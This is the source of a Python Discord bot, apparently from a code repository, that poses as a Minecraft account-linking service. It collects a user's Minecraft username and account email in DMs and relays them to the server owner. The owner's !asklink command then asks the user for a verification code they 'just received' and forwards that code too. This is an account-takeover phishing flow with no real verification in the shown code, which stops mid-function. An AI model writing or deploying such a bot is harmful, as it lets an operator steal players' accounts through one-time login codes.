Files
.gitignore
bot.py
requirements.txt
Code
3 307
bot.py
import discord
from discord.ext import commands
import os
from dotenv import load_dotenv
load_dotenv()
intents = discord.Intents.default()
intents.message_content = True
intents.members = True
intents.guilds = True
bot = commands.Bot(command_prefix='!', intents=intents)
linking_sessions = {}
class LinkingSession:
def __init__(self, user_id, guild_id):
self.user_id = user_id
self.guild_id = guild_id
self.minecraft_username = None
self.email = None
self.code = None
self.state = 'awaiting_username'
self.owner_message = None
@bot.event
async def on_ready():
print(f'{bot.user} is now online!')
print(f'Bot ID: {bot.user.id}')
@bot.command()
async def link(ctx):
if isinstance(ctx.channel, discord.DMChannel):
await ctx.send("Please use this command in a server channel first!")
return
user_id = ctx.author.id
guild_id = ctx.guild.id
if user_id in linking_sessions:
await ctx.send("You already have an active linking session. Please complete or cancel it first.")
return
linking_sessions[user_id] = LinkingSession(user_id, guild_id)
await ctx.send("Check your DMs! I've sent you a message to start the linking process.")
try:
dm_channel = await ctx.author.create_dm()
embed = discord.Embed(
title="🔗 Minecraft Account Linking Process",
description="Please answer the following questions to link your account:",
color=discord.Color.green()
)
embed.add_field(name="1️⃣ Minecraft Username", value="What is your Minecraft username?", inline=False)
embed.add_field(name="2️⃣ Minecraft Account Email", value="What is your Minecraft account email?", inline=False)
embed.add_field(name="3️⃣ Verification Code", value="You will receive a verification code after submitting", inline=False)
embed.set_footer(text="Let's get started! Please answer each question as I ask them.")
await dm_channel.send(embed=embed)
await dm_channel.send("\n**Question 1:** Please enter your **Minecraft username**:")
except discord.Forbidden:
await ctx.send("I couldn't send you a DM! Please enable DMs from server members.")
del linking_sessions[user_id]
except Exception as e:
await ctx.send("An error occurred while trying to DM you.")
print(f"Error sending DM: {e}")
del linking_sessions[user_id]
@bot.event
async def on_message(message):
if message.author.bot:
await bot.process_commands(message)
return
if isinstance(message.channel, discord.DMChannel):
user_id = message.author.id
if user_id in linking_sessions:
session = linking_sessions[user_id]
if session.state == 'awaiting_username':
session.minecraft_username = message.content
session.state = 'awaiting_email'
await message.channel.send(f"Great! Your Minecraft username is: **{session.minecraft_username}**\n\nNow, please enter your **Minecraft account email**:")
elif session.state == 'awaiting_email':
session.email = message.content
session.state = 'pending_owner_review'
await message.channel.send("Thank you! Your information has been submitted to the server owner for review. Please wait for further instructions.")
guild = bot.get_guild(session.guild_id)
if guild:
owner = guild.owner
try:
owner_dm = await owner.create_dm()
embed = discord.Embed(title="New Linking Request", color=discord.Color.blue())
embed.add_field(name="User", value=f"{message.author.mention} ({message.author.name})", inline=False)
embed.add_field(name="User ID", value=str(user_id), inline=False)
embed.add_field(name="Minecraft Username", value=session.minecraft_username, inline=False)
embed.add_field(name="Email", value=session.email, inline=False)
embed.set_footer(text="Use !asklink <user_id> to request verification code")
owner_msg = await owner_dm.send(embed=embed)
session.owner_message = owner_msg
except discord.Forbidden:
print(f"Cannot send DM to owner {owner.name}")
except Exception as e:
print(f"Error sending DM to owner: {e}")
elif session.state == 'awaiting_code':
session.code = message.content
session.state = 'pending_code_review'
await message.channel.send("Code received! The server owner is reviewing it now.")
guild = bot.get_guild(session.guild_id)
if guild:
owner = guild.owner
try:
owner_dm = await owner.create_dm()
embed = discord.Embed(title="Verification Code Received", color=discord.Color.gold())
embed.add_field(name="User", value=f"{message.author.mention} ({message.author.name})", inline=False)
embed.add_field(name="User ID", value=str(user_id), inline=False)
embed.add_field(name="Verification Code", value=session.code, inline=False)
embed.set_footer(text=f"Use !accept {user_id} or !decline {user_id}")
await owner_dm.send(embed=embed)
except discord.Forbidden:
print(f"Cannot send DM to owner {owner.name}")
except Exception as e:
print(f"Error sending DM to owner: {e}")
await bot.process_commands(message)
async def is_server_owner(ctx, user_id):
if user_id not in linking_sessions:
return False, None
session = linking_sessions[user_id]
guild = bot.get_guild(session.guild_id)
if not guild:
return False, None
return ctx.author.id == guild.owner_id, guild
@bot.command()
async def asklink(ctx, user_id: int):
is_owner, guild = await is_server_owner(ctx, user_id)
if not is_owner:
await ctx.send("Only the server owner can use this command!")
return
if user_id not in linking_sessions:
await ctx.send("No active linking session found for that user ID.")
return
session = linking_sessions[user_id]
if session.state != 'pending_owner_review':
await ctx.send("This session is not ready for code verification.")
return
session.state = 'awaiting_code'
try:
user = await bot.fetch_user(user_id)
dm_channel = await user.create_dm()
await dm_channel.send("The server owner has requested your verification code.\n\nPlease enter the **verification code** you just received:")
await ctx.send(f"Code request sent to {user.name}!")
except discord.NotFound:
await ctx.send("User not found.")
except discord.Forbidden:
await ctx.send("Cannot send DM to user. They may have DMs disabled.")
except Exception as e:
await ctx.send("Failed to send DM to user.")
print(f"Error in asklink: {e}")
@bot.command()
async def accept(ctx, user_id: int):
is_owner, guild = await is_server_owner(ctx, user_id)
if not is_owner:
await ctx.send("Only the server owner can use this command!")
return
if user_id not in linking_sessions:
await ctx.send("No active linking session found for that user ID.")
return
session = linking_sessions[user_id]
if session.state != 'pending_code_review':
await ctx.send("This session is not ready for approval.")
return
try:
user = await bot.fetch_user(user_id)
dm_channel = await user.create_dm()